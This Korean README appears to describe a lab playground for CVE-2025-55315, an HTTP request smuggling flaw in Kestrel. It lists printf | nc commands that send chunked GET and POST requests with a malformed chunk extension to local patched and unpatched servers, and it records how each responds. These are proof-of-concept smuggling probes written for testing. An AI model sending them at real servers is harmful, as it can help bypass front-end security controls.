
# CVE-2025-55315 HTTP 스머글링 취약점에 대한 패치/미패치 Kestrel의 다양한 동작을 실험하기 위한 플레이그라운드
다음은 패치 전후 버전의 Kestrel에서 GET/POST 라우트에 대해 서로 다른 동작을 관찰하기 위해 이러한 서비스에 대해 수행할 수 있는 몇 가지 테스트입니다.
패치 전 버전에 대한 GET (200 응답 후 소켓 유지)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
패치 후 버전에 대한 GET (200 응답 후 소켓 닫힘)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
CT 불필요 POST - 패치 전 버전 (200 응답 후 소켓 유지)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
CT 불필요 POST - 패치 후 버전 (400 응답 후 소켓 닫힘 (프로세스에서 Bad chunk extension 관련 처리된 예외 발생))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
CT 필요 POST - 패치 전 버전 (415 응답 후 소켓 유지)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
CT 필요 POST - 패치 후 버전 (415 응답 후 소켓 닫힘)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001